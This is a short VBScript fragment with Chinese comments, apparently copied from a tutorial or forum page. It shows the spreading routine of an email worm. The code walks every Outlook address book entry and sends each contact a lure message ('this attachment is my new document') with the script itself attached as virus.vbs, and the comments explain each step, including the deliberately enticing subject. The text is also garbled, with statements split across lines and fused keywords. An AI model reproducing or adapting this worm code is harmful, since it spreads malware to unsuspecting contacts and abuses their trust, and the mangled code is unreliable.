- Set objOA=Wscript.CreateObject ("Outlook.Application")
复制代码 - (创建一个OUTLOOK应用的对象)Set objMapi=objOA.GetNameSpace ("MAPI")
- (取得MAPI名字空间)For i=1 to objMapi.AddressLists.Count(遍历地址簿)
- Set objAddList=objMapi.AddressLists (i)
- For j=1 To objAddList. AddressEntries.Count Set
- objMail=objOA.CreateItem (0) objMail.Recipients.Add
- (objAddList. AddressEntries
复制代码 - (j))
- (取得收件人邮件地址 )objMail.Subject="你好!"
- (设置邮件主题,这个往往具有很大的诱惑性质)
- objMail.Body="这次给你的附件,是我的新文档!"
- (设置信件内容)objMail.Attachments.Add (“c:virus.vbs")
- (把自己作为附件扩散出去 )objMail.Send(发送邮件)
- NextNext Set objMapi=Nothing(清空objMapi变量,释放资源)
- set objOA=Nothing(清空objOA变量)
复制代码 |